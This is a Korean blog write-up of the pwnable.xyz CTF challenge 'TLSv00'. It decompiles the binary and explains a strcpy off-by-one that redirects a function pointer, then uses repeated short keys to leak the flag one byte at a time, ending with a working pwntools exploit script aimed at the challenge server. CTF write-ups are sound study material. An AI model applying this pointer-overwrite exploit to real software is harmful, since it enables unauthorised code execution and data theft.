본문으로 바로가기

[pwnable.xyz] TLSv00 write up

category CTF/pwnable.xyz 2020. 1. 28. 23:54

pwnable.xyz 의 10번째 문제 TLSv00 이다.

 

 


Analyze

문제 파일의 사용자 정의 함수를 보면 많은 함수들이 존재하는 것을 볼 수 있다.

 

사용자 정의 함수 목록

 

위 함수들을 gdb로 분석하여 c언어로 표현하면 아래와 같다.

#include <stdio.h>
#include <fcntl.h>


char key[64];       // 0x555555756040
char do_comment[16];    // 0x555555756080
char flag[64];      // 0x5555557560a0

void print_menu(){
    printf("1. Re-generate key\n2. Load flag\n3. Print flag\n");
}

int read_int32(){
   memset(&rbp-0x30, 0, 0x20);
   *(&rbp-0x34) = read(0, &rbp-0x30, 0x20);
   *(&rbp-0x34) -= 0x1;
   
   // 1byte 값만 가져옴
   *(&rbp + (*(&rbp-0x34)) * 1 - 0x30) = 0;
   
   return atoi(&rbp - 0x30);
}

void load_flag(){
    int fd = open("/flag");
    int count;
    
    if(fd == -1){
        printf("Can't open flag.\n");
        exit(1);
    }
    
    read(fd, flag, 0x40);
    
    count = 0;
    while(count <= 0x3f){   // 63 (64 loop)
        char tmp1 = flag[count];
        char tmp2 = key[count];
        tmp1 = tmp1 ^ tmp2;
        
        flag[count] = tmp1;
        count++;
    }
    
    close(fd);
}

void print_flag(){
    printf("WARNING: NOT IMPLEMENTED.\n");
    
    if(!do_comment[0]){
        printf("Wanna take a survey instead? \n");
        char tmp = getchar();
        
        if(tmp == 0x79){
            *(do_comment) = &f_do_comment;
        }
        // call *(do_comment)
    }
}

void f_do_comment(){
    printf("Enter comment: ");
    read(0, &rbp-0x30, 0x21); // Where is writing?  0x7fffffffe470
}

void real_print_flag(){
    printf("%s", flag);
}

void generate_key(int len){ // &rbp-0x64
    int count;      // &rbp - 0x58
    char random_char;   // &rbp-0x50 = 0x7fffffffe460

    if(0 < len && len <= 0x40){
        memset(random_char, 0, 0x48);
        int fd = open("/dev/urandom");  // &rbp-0x54
        
        if(fd == -1){
            printf("Can't open /dev/urandom");
            exit(1);
        }
        read(fd, random_char, len);   // random_char = &rbp-0x50 = 0x7fffffffe460
        count = 0;
        
        while(count < len){
            if(random_char[count])
                count++;
            else{   // If random value (1byte) is 0x00
                read(fd, random_char[count], 1);
            }
        }
        strcpy(key, random_char);   // Overflow !!
        close(fd)
    }
    else{
        printf("Invalid key size.\n");
    }
}

int main(){
    int select; // &rbp-0x8
    int len;    // &rbp-0x4
    
    puts("Muahaha you thought I would never make a crypto chal?\n");
    
    generate_key(0x3f);
    
    while(1){
        print_menu();
        printf("> ");
        
        select = read_int32();
        
        if (select == 1){
            printf("key len: ");
            len = read_int32();
            
            generate_key(len);
        }
        else if(select == 2){
            load_flag();
        }
        else if(select == 3){
            print_flag();
        }
        else if(select == 4){
            // nop ??
        }
        else{
            printf("Invalid\n");
        }
    }
}

 

 

실행될때, key 변수에 0x3f(63) 만큼 /dev/urandom 을 이용해 랜덤 값을 저장한다.

 

select => 2 일때, flag 파일을 읽어 key 값과 XOR 연산을 한다.

여기서 원본 flag 값을 보기 위해서는 key 값이 0 이면 ("A" ^ 0x00 = "A" ) 원본 flag 값을 가질 수 있다.

 

이 값을 출력하기 위해서는 real_print_flag() 함수를 호출해야 하지만, 호출 할 메뉴 선택이 없다.

 

 

 

잘 봐야 할 함수가 generate_key()와 print_flag() 함수이다.

 

 

 

 

print_flag()

 

select => 3 일때 동작을 하는데, do_comment 변수의 값이 0이 아니면 getchar() 함수로 입력을 받는다.

void print_flag(){
    printf("WARNING: NOT IMPLEMENTED.\n");
    
    if(!do_comment[0]){
        printf("Wanna take a survey instead? \n");
        char tmp = getchar();
        
        if(tmp == 0x79){
            *(do_comment) = &f_do_comment;
        }
        // call function ???(0, *(do_comment));
        // or call *(do_comment)
    }
    // nop ??
}

 

이때 "y" 값을 입력하면 do_comment 값에 f_do_comment 함수의 주소를 넣는다.

그 후 do_comment 값을 가져와 CALL 한다.

이때 f_do_comment() 의 주소는 0x0000555555554b1f 이다.

(f_do_comment 함수는 의미 없음. 주소가 중요)

 

 

 

 

 

 

generate_key(int len)

 

이 함수는 select => 1 일때, 사용자가 입력한 길이 만큼 (0< len <=0x40) key의 길이를 설정할 수 있다.

random_char에 랜덤 값을 저장하여 최종적으로 strcpy() 함수로 key에 저장한다.

 

strcpy() 함수는 key 변수 값 끝에 0x00 을 추가하여 붙이게 된다.!

 

그렇다면, 사용자가 키 길이는 64(0x40) 이라고 입력했을때, random_char 변수는 64개의 크기를 저장하지만

strcpy() 함수를 통해 key 변수에 64 + 1(0x00) = 65bytes 값을 가지게 된다.

1byte overflow 가 발생하는 것이다.

 

 

변수 key, do_comment, flag 의 메모리 구조를 보면 아래와 같다.

gdb-peda$ x/32gx 0x555555756040                                                                                                                         
0x555555756040 <key>:   		0x0000000000000000      0x0000000000000000
0x555555756050 <key+16>:        0x0000000000000000      0x0000000000000000
0x555555756060 <key+32>:        0x0000000000000000      0x0000000000000000
0x555555756070 <key+48>:        0x0000000000000000      0x0000000000000000
0x555555756080 <do_comment>:    0x0000000000000000      0x0000000000000000
0x555555756090: 0x0000000000000000      0x0000000000000000
0x5555557560a0 <flag>:  		0x0000000000000000      0x0000000000000000
0x5555557560b0 <flag+16>:       0x0000000000000000      0x0000000000000000
0x5555557560c0 <flag+32>:       0x0000000000000000      0x0000000000000000
0x5555557560d0 <flag+48>:       0x0000000000000000      0x0000000000000000

 

1byte Overflow 가 발생한다면, do_comment[0] 에 값이 0x00 으로 바뀌게 된다.

위 print_flag() 함수에서 do_comment 변수에는 0x0000555555554b1f 값이 저장된다고 했다.

Overflow 가 발생한다면, 0x0000555555554b00 이 된다.

저 주소로 가면 real_print_flag() 의 주소 임을 알 수 있다.

 

0x0000555555554b00 는 real_print_flag() 의 주소

 

 

위 상황을 종합하여 공격 시나리오를 생각해보면,

select 3 => "y": f_do_comment() 의 주소를 do_comment 변수에 저장

select 1: key 길이를 64로 입력 (1byte overflow)

select 2: flag 파일 load

select 3 => "a": real_print_flag() 호출

아래 처럼 암호화된 flag를 획득 할 수 있다.

암호화된 flag가 출력

 

하지만, flag 값은 암호화 되어 알수가 없다.

key 값이 0이면 원본 값을 알 수 있다.

 

 

generate_key() 함수에서 사용자가 키 길이를 입력 할 수 있다.

만약 key 길이가 1이면 strcpy() 함수로 2번째에 0x00 값이 들어간다!

gdb-peda$ x/gx 0x555555756040
0x555555756040 <key>:   0x8926c2b0889f3070

2번째에 0x00이 들어갔다.

gdb-peda$ x/16gx 0x555555756040
0x555555756040 <key>:   0x8926c2b0889f003e

 

 

그렇다면 위 공격 시나리오에서 수정하면

select 3 => "y": f_do_comment() 의 주소를 do_comment 변수에 저장

select 1: key 길이를 64로 입력 (1byte overflow)

select 1: key 길이를 1로 입력 (strcpy() 함수로 0x00 값 추가)

select 2: flag 파일 load

select 3 => "a": real_print_flag() 호출

0x00 으로 XOR 한 값들이 원본으로 출력이 되게 된다.

똑같은 방법으로 key 길이를 1 ~ 32 로 계속 늘리면 flag를 얻을 수 있다.

 

 

 

Payload

from pwn import *

flag = "F"

p = remote("svc.pwnable.xyz", 30006)

# Write do_comment
p.sendlineafter("> ", "3")
p.sendlineafter("? ", "y")

# Overwrite 1byte 0x00
p.sendlineafter("> ", "1")
p.sendlineafter("key len: ", "64")

for i in range(1, 33):
    # Set key length
    p.sendlineafter("> ", "1")
    p.sendlineafter("key len: ", str(i))
    
    # Load flag text
    p.sendlineafter("> ", "2")
    
    # Print flag
    p.sendlineafter("> ", "3")
    p.sendlineafter("? ", "b")
    
    getData = p.recv(70)
    # print(getData)
    flag += getData[i]
    print("[*] " + flag)

 

위 코드를 실행하면 실행할때 마다, 출력되는 flag 값이 한글자 정도 다르던데, 여러번 실행하여 flag를 유추하여 값을 찾아 냈다.

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] l33t-ness write up  (0) 2020.01.31
[pwnable.xyz] Jmp table write up  (0) 2020.01.31
[pwnable.xyz] TLSv00 write up  (0) 2020.01.28
[pwnable.xyz] free spirit write up  (0) 2020.01.27
[pwnable.xyz] note write up  (0) 2020.01.25
[pwnable.xyz] Grownup write up  (0) 2020.01.25

댓글을 달아 주세요